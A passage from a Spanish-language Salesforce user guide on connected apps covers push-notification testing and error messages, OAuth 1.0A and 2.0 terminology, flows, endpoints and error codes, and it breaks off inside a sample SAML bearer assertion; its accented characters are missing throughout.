Para realizar una prueba rpida de la configuracin de las notificaciones distribuidas para el servicio de notificaciones distribuidas
de Apple (Apple Push Notification Service [APNS]), use la pgina Enviar notificacin de prueba.
Envo de notificaciones distribuidas de prueba a GCM para Android
Para realizar una prueba rpida de la configuracin de las notificaciones distribuidas para el servicio de mensajera en la nube de
Google (Google Cloud Messaging [GCM]) para Android, use la pgina Probar notificaciones distribuidas.
Mensajes de error de notificaciones distribuidas
Si obtiene un mensaje de error durante el envo de una notificacin distribuida en la pgina Enviar notificacin de prueba, consulte
las sugerencias de la siguiente tabla para solucionar el error.

Envo de notificaciones distribuidas de prueba a APNS


Para realizar una prueba rpida de la configuracin de las notificaciones distribuidas para el servicio de notificaciones distribuidas de
Apple (Apple Push Notification Service [APNS]), use la pgina Enviar notificacin de prueba.
1. Introduzca una cadena de token de conexin en el campo Destinatario o busque un destinatario. Para ello, haga clic en Buscar
y, a continuacin, seleccione uno de los resultados de la bsqueda. De forma predeterminada, la lista de resultados de la bsqueda
muestra los ltimos cinco dispositivos registrados para su aplicacin conectada.
a. Para buscar otros dispositivos, introduzca un nombre de usuario en el cuadro de texto de bsqueda.
b. Haga clic en Ir para generar una lista de todos los dispositivos registrados actualmente con este nombre de usuario.
2. De forma opcional, para Alerta, introduzca un mensaje de alerta o un diccionario segn las especificaciones de Apple.
3. Para Insignia, introduzca un nmero de insignia o 0 si no hay ninguna insignia.
4. Para Sonido, introduzca el nombre del archivo de sonido en el paquete de aplicaciones o introduzca predeterminado para
usar el sonido de alerta predeterminado del sistema.
5. De forma opcional, para usar una carga personalizada, introduzca el valor de JSON de la carga en el campo Carga personalizada.
6. Haga clic en Enviar para enviar la notificacin distribuida de prueba o haga clic en Borrar para restablecer el formulario.
CONSULTE TAMBIN
Prueba de notificaciones distribuidas

Envo de notificaciones distribuidas de prueba a GCM para Android


Para realizar una prueba rpida de la configuracin de las notificaciones distribuidas para el servicio de mensajera en la nube de Google
(Google Cloud Messaging [GCM]) para Android, use la pgina Probar notificaciones distribuidas.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 155

1. Introduzca una cadena de token de conexin en el campo Destinatario o busque un destinatario. Para ello, haga clic en Buscar
y, a continuacin, seleccione uno de los resultados de la bsqueda. De forma predeterminada, la lista de resultados de la bsqueda
muestra los ltimos cinco dispositivos registrados para su aplicacin conectada.
a. Para buscar otros dispositivos, introduzca un nombre de usuario en el cuadro de texto de bsqueda.
b. Haga clic en Ir para generar una lista de todos los dispositivos registrados actualmente con este nombre de usuario.
2. Para Carga, introduzca un valor de JSON que contenga su mensaje.
3. Para enviar la notificacin distribuida solo al servidor GCM, seleccione Ejecucin en seco.
4. Haga clic en Enviar para enviar la notificacin distribuida de prueba o haga clic en Borrar para restablecer el formulario.
CONSULTE TAMBIN
Prueba de notificaciones distribuidas

Mensajes de error de notificaciones distribuidas


Si obtiene un mensaje de error durante el envo de una notificacin distribuida en la pgina Enviar notificacin de prueba, consulte las
sugerencias de la siguiente tabla para solucionar el error.
Mensaje

Solucin sugerida

Se ha superado el lmite de la velocidad de distribucin diaria para Dado que el lmite diario no es negociable, no hay ninguna solucin
esta aplicacin
disponible.
El servicio de notificaciones distribuidas de Apple no acepta el
certificado

Cambie el certificado por un tipo vlido.

Se ha revocado el certificado

Suministre un certificado vlido.

Certificado caducado

Renueve el certificado.

El certificado no es vlido an

Intntelo de nuevo ms adelante.

Certificado o contrasea no vlidos

Cambie el certificado por un tipo vlido.

Destinatario o carga no vlidos

Compruebe si hay errores en su entrada.

La carga supera el tamao mximo

Reduzca el tamao de la carga.

No se puede cargar la configuracin de las notificaciones


distribuidas

Confirme si se incluye la configuracin en la aplicacin conectada.

El campo del destinatario contiene un token de dispositivo no


vlido

Proporcione un token de dispositivo vlido.

Longitud de token de dispositivo no vlida

El token se ha introducido de forma incorrecta o est daado.


Vuelva a introducir el token.

Error al enviar la notificacin. El certificado de confirmacin est


destinado al entorno de Apple correcto..

Confirme si se est usando el certificado correcto (por ejemplo,


Sandbox frente a produccin).

El servicio de notificacin distribuida de Apple no est disponible Intntelo de nuevo ms adelante.

Mejora de Salesforce mediante cdigo

Mensaje

Gua del usuario | Integracin de aplicaciones con


Salesforce | 156

Solucin sugerida

No se puede conectar al servicio de notificaciones distribuidas de Intntelo de nuevo ms adelante.


Apple
No se puede conectar con el proxy de Salesforce. Pngase en
contacto con el servicio de atencin al cliente de Salesforce si el
problema contina.

Intntelo de nuevo ms adelante.

Solicitud bloqueada por el proxy de Salesforce. Pngase en


contacto con el servicio de atencin al cliente de Salesforce si el
problema contina.

Intntelo de nuevo ms adelante.

El servicio de notificacin distribuida de Apple ha devuelto un error Pngase en contacto con Apple o intntelo de nuevo ms adelante.
desconocido
La insignia debe ser un nmero

Vuelva a introducir el valor de la insignia como un entero.

La carga debe tener un formato JSON vlido

Aplique el formato correcto a la carga.

Debe introducir un valor para uno de los siguientes campos como Introduzca un valor vlido para uno de los campos.
mnimo: Alerta, Insignia, Sonido o Carga personalizada
Es necesario un destinatario

Proporcione un token de dispositivo.

Error de autenticacin de Google Cloud Messaging

Consulte la documentacin de GCM en developer.android.com.


Causas posibles:
Falta el encabezado de autorizacin o contiene sintaxis no
vlida.
Nmero de proyecto no vlido enviado como clave.
La clave es vlida, pero el servicio GCM est deshabilitado.
La solicitud se ha originado en un servidor no incluido en la
lista blanca de direcciones IP de clave de servidor.

Error interno en el servidor de Google Cloud Messaging o el servidor Intntelo de nuevo ms adelante.
no est disponible temporalmente
El Id. de registro del campo de destinatario tiene un formato
incorrecto

Compruebe si la aplicacin mvil proporciona un identificador de


registro vlido o introduzca manualmente un identificador de
registro vlido.

La carga supera el tamao mximo

Reduzca el tamao de la carga.

El campo del destinatario contiene un Id. de registro no vlido para Proporcione la clave de servidor correcta para la aplicacin.
la clave de la aplicacin conectada para las aplicaciones del servidor
(clave API)
Es necesario un destinatario

Seleccione el destinatario o proporcione un identificador de


registro.

El campo del destinatario contiene un Id. de registro no vlido

Actualice el identificador de registro del dispositivo del destinatario.

El servidor GCM ha devuelto un error inesperado. Pngase en


contacto con su equipo de asistencia tcnica de SFDC.

Pngase en contacto con salesforce.com.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 157

Mensaje

Solucin sugerida

Se ha producido un error inesperado. Pngase en contacto con su Pngase en contacto con salesforce.com.
equipo de asistencia tcnica de SFDC.

CONSULTE TAMBIN
Creacin de una aplicacin conectada
Prueba de notificaciones distribuidas

Desinstalacin de una aplicacin conectada


PERMISOS DE USUARIO

EDICIONES

Para leer:

Personalizar aplicacin

Para crear, actualizar o eliminar:

Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas

Para actualizar todos los campos, excepto Personalizar aplicacin


Perfiles, Conjuntos de permisos y Atributos
SAML de proveedor de servicio:
Para actualizar Perfiles, Conjuntos de
Personalizar aplicacin Y Modificar todos
permisos y Atributos SAML de proveedor de los datos
servicio:
Para desinstalar:

Las aplicaciones conectadas


se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones

Descargar paquetes de AppExchange

Puede eliminar una aplicacin conectada de su organizacin desinstalando el paquete del que forma parte la aplicacin.
Nota: Cuando se desinstala una aplicacin conectada, se eliminan los tokens de acceso y actualizacin de todos los usuarios de
la aplicacin. Eso evita que un usuario inicie la aplicacin ms adelante, utilizando un token de acceso existente, sin aprobar la
aplicacin de forma explcita.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 158

Aplicacin conectada y terminologa OAuth


Token de acceso
Valor que utiliza el consumidor para acceder a recursos protegidos en nombre del usuario, en
vez de usar las credenciales de Salesforce del usuario.
Para OAuth 1.0.A, se debe cambiar el token de acceso para un Id. de sesin.

EDICIONES
Disponible en: todas las
ediciones

Para OAuth 2.0, el token de acceso es un Id. de sesin y puede usarse directamente.
Cdigo de autorizacin
Solo se utiliza en OAuth 2.0 con el flujo de servidor Web. Un token pasajero que representa el
acceso otorgado por el usuario final. El cdigo de autorizacin se utiliza para obtener un token
de acceso y un token de actualizacin. Para OAuth 1.0.A, consulte Token de solicitud.

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

URL de devolucin de llamada


Una URL asociada con su aplicacin de cliente. En algunos contextos, debe ser una URL real a
la que se redirige el navegador Web del cliente. En otros, la URL no se utiliza en estos momentos;
sin embargo, entre su aplicacin del cliente y el servidor (la definicin de aplicacin conectada)
el valor debe ser el mismo. Por ejemplo, es posible que desee utilizar un valor que identifica la aplicacin, como
http://MyCompany.Myapp.

Consumidor
Sitio Web o aplicacin que utiliza OAuth para autenticar tanto al usuario de Salesforce como la aplicacin en nombre del usuario.
Clave de consumidor
Valor empleado por el consumidor para identificarse en Salesforce. Tambin denominado client_id en OAuth 2.0.
Pregunta secreta de consumidor
Pregunta secreta utilizada por el consumidor para establecer la propiedad de la clave de consumidor. Tambin denominado
client_secret en OAuth 2.0.
Valor instantneo
Nmero, a menudo aleatorio, que se usa durante la autenticacin para asegurar que no se reutilizan las solicitudes.
Token de actualizacin
Slo se utiliza en OAuth 2.0. Un token utilizado por el consumidor para obtener un nuevo token de acceso, sin necesidad de tener
la aprobacin del usuario final para acceder de nuevo.
Token de solicitud
Valor que utiliza el consumidor para recibir autorizacin del usuario y que se cambia por un token de acceso. Los token de solicitud
slo se utilizan en OAuth 1.0.A. Para OAuth 2.0, consulte el Cdigo de autorizacin.
Proveedor de servicio
Una aplicacin web que permite al acceso mediante OAuth. Es su instancia de Salesforce una vez que el acceso remoto se ha activado.
Secreto del Token
Un secreto que utiliza el consumidor para establecer la propiedad de un token dado, tanto para los token de solicitud como los
token de acceso.
Usuario
Individuo con inicio de sesin en Salesforce.
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 159

Autenticacin de aplicaciones
Autenticacin de aplicaciones con OAuth
Cuando un usuario solicita sus datos de Salesforce desde la aplicacin externa (la pgina del
consumidor), Salesforce tiene que autenticarlo. Cada flujo de autenticacin tiene varios pasos, tal
y como establece la normativa OAuth y lo que intenta acceder a Salesforce.
Salesforce admite flujos de autenticacin OAuth de las versiones 1.0A y 2.0.

EDICIONES
Disponible en: todas las
ediciones

OAuth 1.0.A: esta versin de OAuth slo tiene un flujo.


Servidor Web OAuth 2.0: el flujo de autenticacin del servidor Web que utilizan las aplicaciones
albergadas en un servidor seguro. Un aspecto esencial del flujo del servidor Web es que un
servidor debe poder proteger el secreto del consumidor.
Usuario-agente de OAuth 2.0: las aplicaciones cliente (consumidores) utilizan el flujo de
autenticacin de usuario-agente del dispositivo del usuario Se podra implementar en un
explorador mediante un lenguaje de programacin como JavaScript, o desde un dispositivo
mvil o una aplicacin de escritorio. Estos clientes no pueden mantener la confidencialidad del
cliente.

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Flujo de token de actualizacin de OAuth 2.0: Cuando el cliente haya autorizado el usuario, puede usar un token de actualizacin
para obtener un nuevo token de acceso (ID de sesin). Esto solo se consigue cuando el consumidor ya ha recibido un token de
actualizacin con el servidor Web o el flujo de agente de usuario.
Flujo del token de soporte JWT de OAuth 2.0: El flujo del token de soporte JWT de OAuth 2.0 define cmo se puede utilizar un JWT
para solicitar un token de acceso de OAuth a Salesforce cuando un cliente desee utilizar una autorizacin anterior. La autenticacin
de la aplicacin autorizada se obtiene mediante una firma digital aplicada al JWT.
Flujo de afirmacin de soporte SAML de OAuth 2.0:El flujo de afirmacin de soporte SAML de OAuth 2.0 define cmo se puede
utilizar una afirmacin SAML para solicitar un token de acceso de OAuth cuando un cliente desee utilizar una autorizacin anterior.
La autenticacin de la aplicacin autorizada se obtiene mediante la firma digital aplicada a la afirmacin SAML.
Flujo de afirmacin SAML: El flujo de afirmacin SAML es una alternativa para las organizaciones que utilizan actualmente SAML
para acceder a Salesforce y desean acceder a la API de servicios Web de la misma forma. El flujo de afirmacin SAML slo se puede
utilizar en una organizacin nica. No tiene que crear una aplicacin conectada para utilizar este flujo de afirmacin.
Nombre de usuario y contrasea de OAuth 2.0: el flujo de autenticacin de nombre de usuario-contrasea se puede utilizar para
autenticar si el consumidor ya tiene las credenciales del usuario.
PRECAUCIN: El flujo de autenticacin OAuth implica la transferencia de las credenciales del usuario. Use este flujo de
autenticacin cuando sea necesario. No se generar el token de actualizacin.
Para todos los flujos de autenticacin, si se solicita a un usuario que autorice el acceso y, en su lugar, hace clic en el vnculo que indica
que ya no es el usuario que ha iniciado sesin, se cierra la sesin actual del usuario y el flujo de autorizacin se reinicia autenticando al
usuario.
Nota: Los usuarios pueden autorizar a una aplicacin para que acceda a Salesforce ms de una vez, por ejemplo, para un porttil
y un equipo de sobremesa. El lmite predeterminado es cinco autorizaciones por aplicacin y usuario. Si un usuario intenta conceder
acceso a una aplicacin ms veces de las permitidas por el lmite de la organizacin, el token de acceso usado por ltima vez para
esa aplicacin se revoca. Las aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) que utilicen el flujo del servidor Web se
aprueban automticamente para los dispositivos adicionales despus de que el usuario haya concedido acceso una vez. El flujo
de usuario-agente requiere la aprobacin del usuario cada vez que se aplica.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 160

Extremos OAuth 2.0


Los tres extremos principales utilizados con OAuth 2.0 son:
Autorizacin: https://login.salesforce.com/services/oauth2/authorize
Token: https://login.salesforce.com/services/oauth2/token
Revocar: https://login.salesforce.com/services/oauth2/revoke
Consulte Revocar tokens de OAuth en la pgina 188 para obtener detalles acerca de la revocacin de acceso.
Para un sandbox, utilice test.salesforce.com en vez de login.salesforce.com.

Flujo de autenticacin de OAuth 1.0.A


A continuacin siguen descripciones de paso individual. OAuth 1.0.A cuenta con un nico flujo de
autenticacin.

EDICIONES

1. El consumidor pide un token de solicitud. Salesforce verifica la peticin y devuelve un token


de solicitud.

Disponible en: todas las


ediciones

2. El consumidor debe redirigir el usuario a Salesforce, donde se insta a iniciar sesin.


3. Salesforce autoriza al usuario.
4. Una vez que el usuario est autorizado, el consumidor pide un token de acceso.
5. Salesforce verifica la peticin y concede el token.
6. Una vez que se ha concedido el token, el consumidor accede a los datos ya sea a travs de su
aplicacin o a travs de la API de servicios Web de Force.com.

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

7. Salesforce verifica la peticin y permite el acceso a los datos.


Las siguientes secciones tratan ms detalladamente cada uno de estos pasos.
Consejo: Para utilizar una aplicacin conectada con un Sandbox, utilice test.salesforce.com en vez de
login.salesforce.com en las siguientes secciones.
Si desea consultar la lista de posibles cdigos de error devueltos por Salesforce, consulte Cdigos de error de OAuth 1.0.A en la
pgina 164.

Peticin de un token de solicitud


Cuando un consumidor realiza una peticin inicial a Salesforce, se devuelve un token de solicitud (RequestToken) si dicha peticin es
vlida. Los siguientes pasos contienen ms informacin para el desarrollador que utilice la aplicacin conectada para solicitar datos de
Salesforce.
1. Una aplicacin de consumidor debe acceder a los datos de Salesforce y enva una solicitud a
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler.

La solicitud contiene lo siguiente:


Una solicitud vlida para un token de solicitud, que consta de los siguientes parmetros OAuth.
clave_consumidor_oauth
mtodo_firma_oauth: debe ser HMAC-SHA1.
firma_oauth
marca_hora_oauth
valor_instantneo_oauth

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 161

versin_oauth: es opcional, debe ser 1.0 en caso de que se incluya


devolucin_llamada_oauth: debe ser una de las opciones que se indican a continuacin:
URL albergada por el consumidor, por ejemplo
https://www.appirio.com/sfdc_accounts/access_token_ready.html. Tenga en cuenta que

esta URL utiliza https u otro protocolo. No puede utilizar http.


oob, significa fuera de banda.
Una firma en la pgina 162 creada de acuerdo con la especificacin OAuth para HMAC-SHA1.
2. Una vez que Salesforce recibe la solicitud, Salesforce realiza lo siguiente:
Valida la solicitud con su propia copia de la pregunta secreta de consumidor.
Genera una respuesta que contenga un token de solicitud y la pregunta secreta de token de solicitud en el cuerpo del HTTP
como pares de nombre/valor.
Enva la respuesta al consumidor.
Cada token de solicitud slo es vlido durante 15 minutos, ms 3 minutos de margen para compensar las diferencias entre los relojes
de las mquinas.
3. El consumidor dirige el usuario a una pgina de inicio de sesin de Salesforce, tal y como se especifica en la siguiente seccin.

Autorizacin del usuario


Una vez que el consumidor realiza su solicitud a Salesforce, Salesforce debe autenticar el usuario antes de continuar el proceso. A
continuacin se incluyen pasos con informacin sobre el procedimiento de inicio de sesin para desarrolladores que utilicen la aplicacin
conectada para solicitar datos de Salesforce.
1. El consumidor debe redirigir el usuario a la siguiente ubicacin, donde se le insta a iniciar sesin:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. Los

parmetros de consulta GET adecuados se anexan a esta URL.


token_oauth: el token de solicitud
clave_consumidor_oauth
Nota: Si se incluye un parmetro devolucin_llamada_oauth, ste se ignora.
2. Se muestra la pgina de autorizacin de acceso remoto.
3. Si el usuario aprueba el acceso para el consumidor, Salesforce genera el token de acceso y la pregunta secreta del token de acceso.
Nota: El nmero de tokens de acceso simultneo que puede generar un usuario en una aplicacin es limitado. El valor
predeterminado es cinco por aplicacin y usuario. Si esta autorizacin supera el lmite de la organizacin, al usuario se le notifica
de que su autorizacin revoca automticamente el token o tokens de esta aplicacin que no se han usado durante ms tiempo.
4. Salesforce verifica la URL de devolucin de llamada (ya sea la especificada en las pginas de definicin de la aplicacin conectada o
en el parmetro oauth_callback de la fase anterior). Ocurrir uno de los casos siguientes.
Si la oauth_callback definida en el token de solicitud es oob y el campo URL de devolucin de llamada de la pgina
de definicin de la aplicacin conectada tiene un valor vlido, el usuario se redirige a esa URL.
Si la llamada_devolucin_oauth definida en el token de solicitud es una URL vlida, al usuario se le redirige a esa URL.
5. El consumidor recibe una notificacin de que el token de acceso y la pregunta secreta del token de acceso, ya sea recibiendo el
token de verificacin de Salesforce o el cdigo de validacin del usuario final.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 162

Solicitud del token de acceso


Una vez que se ha autenticado el usuario, el consumidor puede intercambiar un token de solicitud por uno de acceso. A continuacin
se incluyen pasos con informacin sobre el procedimiento de intercambio de tokens para desarrolladores que utilicen la aplicacin
conectada para solicitar datos de Salesforce.
1. El consumidor realiza una solicitud HTTPS GET o POST a
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler,

con los parmetros obligatorios en la consulta o datos post.


clave_consumidor_oauth
mtodo_firma_oauth
firma_oauth
marca_hora_oauth
token_oauth
valor_instantneo_oauth
verificador_oauth
versin_oauth: es opcional, debe ser 1.0 en caso de que se incluya
2. Salesforce valida lo siguiente.
La pregunta secreta del consumidor
La clave del consumidor
La firma
Que el token de solicitud nunca se ha utilizando antes
La marca de hora (debe ser de como mucho 15 minutos, ms 3 minutos de margen para compensar las diferencias entre los
relojes de las mquinas)
Que el valor instantneo nunca se ha utilizando antes
3. En la validacin, Salesforce devuelve el token de acceso y la pregunta secreta del token de acceso en el cuerpo de la respuesta HTTP
como pares de nombre/valor.

Generacin de firma_oauth para inicio de sesin


Puede acceder a Salesforce utilizando la interfaz de usuario o bien utilizando la API. La firma_oauth que se utilice para el inicio de
sesin se genera de distinta forma, en funcin del mtodo que utilice.
Interfaz de usuario: utilice https://login.salesforce.com para generar la firma.
API: utilice https://login.salesforce.com/services/OAuth/tipo/versin-api para generar la firma.
tipo debe tener uno de los siguientes valores.

u: Socio WSDL
c: WSDL de empresa
Por ejemplo, https://login.salesforce.com/services/OAuth/u/17.0.

Acceso a los datos de Salesforce usando la aplicacin del consumidor


Una vez que el consumidor cuenta con un token de acceso vlido, una aplicacin conectada puede solicitar el acceso a los datos de
Salesforce. A continuacin se incluyen pasos con informacin sobre el acceso a los datos para desarrolladores que utilicen la aplicacin
conectada para solicitar datos de Salesforce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 163

1. El consumidor realiza una solicitud HTTPS POST a https://login.salesforce.com, con los parmetros obligatorios en
el encabezado de autorizacin.
clave_consumidor_oauth
token_oauth
mtodo_firma_oauth
firma_oauth
marca_hora_oauth
valor_instantneo_oauth
versin_oauth (es opcional, debe ser 1.0 en caso de que se incluya)
2. Salesforce valida la solicitud y enva un Id. de sesin vlido al consumidor.

Acceso a los datos de Salesforce usando la API


Una vez que el consumidor cuenta con un token de acceso vlido, una aplicacin conectada puede solicitar el acceso a los datos de
Salesforce usando la API de servicios Web de Force.com.
Nota: Su organizacin debe tener acceso tanto a la API como a la aplicacin conectada. Pngase en contacto con su representante
de salesforce.com para obtener ms informacin.
A continuacin se incluyen pasos con informacin sobre el acceso a los datos para desarrolladores que utilicen la aplicacin conectada
para solicitar datos de Salesforce.
1. El consumidor realiza una solicitud HTTPS POST a Salesforce.
La URL debe tener el siguiente formato:
https://login.salesforce.com/services/OAuth/tipo/versin-api.
tipo debe tener uno de los siguientes valores.

u: Socio WSDL
c: WSDL de empresa
versin-api debe ser una versin vlida de API.

El encabezado de autorizacin debe tener los siguientes parmetros.


clave_consumidor_oauth
token_oauth
mtodo_firma_oauth
firma_oauth
marca_hora_oauth
valor_instantneo_oauth
versin_oauth (es opcional, debe ser 1.0 en caso de que se incluya)
2. Salesforce valida la solicitud y enva un Id. de sesin vlido al consumidor. El encabezado de la respuesta incluye lo siguiente.
<response>
<metadataServerUrl>https://na1.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1.salesforce.com/services/Soap/u/17.0/00D300000006qjK

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 164

</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth

Cdigos de error OAuth 1.0.A


Salesforce devuelve los siguientes cdigos de error durante el Flujo de autenticacin de OAuth 1.0.A. El cdigo de error devuelto se basa
en el error recibido.
Cdigo de
fallo

Error

Notas

1701

Error: Reproduccin de valor instantneo detectada

Un valor instantneo slo puede usarse una vez.

1702

Error: Falta el parmetro clave del consumidor

1703

Error: Token de acceso no vlido

1704

Error: Versin no admitida

Debe especificar 1.0 en el parmetro versin_oauth.

1705

Error: Marca de hora no vlida

La marca de hora falta, corresponde a una futura, es


demasiado antigua o est incorrectamente compuesta.

1706

Error: Valor instantneo no vlido

Falta el valor instantneo.

1707

Error: Falta el parmetro de token OAuth

1708

Error: Direccin IP no permitida

1709

Error: Mtodo de firma no vlida

El token de solicitud contiene un parmetro


mtodo_firma_oauth no vlido.

1710

Error: URL de devolucin de llamada no vlido

El token de solicitud contiene un parmetro


devolucin_llamada_oauth no vlido. El valor
debe ser oob o una URL vlida con https.

1711

Error: Verificador no vlido

El token de acceso contiene un parmetro


verificador_oauth no vlido.

1712

Error: Se ha superado el lmite de acceso de token

Slo puede intentar intercambiar un token de solicitud por


uno de acceso tres veces.

1713

Error: Consumidor eliminado

La aplicacin de acceso remoto se ha eliminado de la


organizacin de Salesforce.

1716

Error: Acceso a Api OAuth desactivado

O bien la API de servicios Web de Force.com no se ha


activado para la organizacin o se ha desactivado el acceso
de la API OAuth para la organizacin.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 165

Flujo de afirmacin de soporte SAML de OAuth 2.0


Una afirmacin SAML es un token de seguridad XML, por lo general emitido por un proveedor de
identidades y utilizado por un proveedor de servicios que confa en su contenido para identificar
el asunto de la afirmacin por motivos de seguridad.
El flujo de afirmacin de soporte SAML de OAuth 2.0 define cmo se puede utilizar una afirmacin
SAML para solicitar un token de acceso de OAuth cuando un cliente desee utilizar una autorizacin
anterior. La autenticacin de la aplicacin autorizada se obtiene mediante la firma digital aplicada
a la afirmacin SAML.
Encontrar una explicacin ms detallada aqu:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

Descripcin general del flujo de afirmacin de soporte SAML de OAuth 2.0

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

El flujo de afirmacin de soporte SAML de OAuth 2.0 es similar al flujo de un token de actualizacin
dentro de OAuth. Se realiza una solicitud POST para la afirmacin SAML al extremo del token de
OAuth, que a su vez procesa la afirmacin y emite un access_token basndose en la aprobacin anterior de la solicitud. Sin embargo,
el cliente no necesita tener o almacenar un refresh_token ni se necesita un client_secret para transmitirlo al extremo del
token.
A continuacin se indican los pasos generales que hay que realizar para utilizar el flujo de afirmacin de soporte SAML de OAuth 2.0:
1. El desarrollador crea una aplicacin conectada y registra un certificado X509. Este certificado se corresponde con la clave privada de
su aplicacin. Cuando se guarda la aplicacin conectada, la Clave del consumidor (client_id de OAuth) se genera y
asigna a la aplicacin.
2. El desarrollador escribe una aplicacin que genera una afirmacin SAML y la firma con su clave privada.
3. Se realiza una solicitud POST para la afirmacin al extremo del token
https://login.salesforce.com/services/oauth2/token.

4. El extremo del token valida la firma mediante el certificado registrado por el desarrollador.
5. El extremo del token valida el valor Dirigido a, el Emisor, el Asunto y la validez de la afirmacin.
6. Suponiendo que la afirmacin es vlida y que el usuario o el administrador ha autorizado previamente la aplicacin, Salesforce emite
un access_token.
Nota: En este flujo no se emite nunca un refresh_token.

Creacin de una afirmacin de soporte SAML


El desarrollador debe crear una afirmacin de soporte SAML vlida que cumpla las siguientes reglas:
El Issuer debe ser el client_id de OAuth o la aplicacin conectada para la que el desarrollador registr el certificado.
El valor Dirigido a debe ser https://login.salesforce.com o https://test.salesforce.com.
El Destinatario debe ser https://login.salesforce.com/services/oauth2/token o
https://test.salesforce.com/services/oauth2/token.
El Id. asunto/nombre debe ser el nombre de usuario del usuario de Salesforce que desee.
La afirmacin debe firmarse segn la especificacin de firma XML, usando RSA y SHA-1 o SHA-256.
La afirmacin SAML debe cumplir las reglas generales de formato especificadas aqu:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 166

Cuando se realiza una solicitud POST al extremo del token, la afirmacin debe codificarse con codificacin base64url como se define
aqu: http://tools.ietf.org/html/rfc4648#page-7
A continuacin se incluye una afirmacin de muestra:
<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_cd3649b3639560458bc9d9b33dfee8d21378409114655" IssueInstant="2013-09-05T19:25:14.654Z"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC92
4qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_cd3649b3639560458bc9d9b33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="ds saml"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>N8DxylbIeNg8JDO87WIqXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
XV0lFJrkhJykGYQbIs0JBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WqjF8EKrqV4Q3/Q4KglrXl/6s
xJr6WOmxWtIQC4oWhSvVyfag34zQoecZeunEdFSMlnvPtqBVzJu9hJjy/QDqDWfMeWvF9S50Azd0
EhJxz/Ly1i28o4aCXQQ=
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIICOzCCAaSgAwIBAgIGAR7RRteKMA0GCSqGSIb3DQEBBQUAMGExCzAJBgNVBAYTAlVTMQswCQYD
VQQIEwJDQTEWMBQGA1UEBxMNU2FuIEZyYW5jaXNjbzENMAsGA1UEChMEUEFDUzENMAsGA1UECxME
U0ZEQzEPMA0GA1UEAxMGU0FNTDIwMB4XDTA5MDExMzE4MzUyN1oXDTE0MDExMTE4MzUyN1owYTEL
MAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMQ0wCwYDVQQK
EwRQQUNTMQ0wCwYDVQQLEwRTRkRDMQ8wDQYDVQQDEwZTQU1MMjAwgZ8wDQYJKoZIhvcNAQEBBQAD
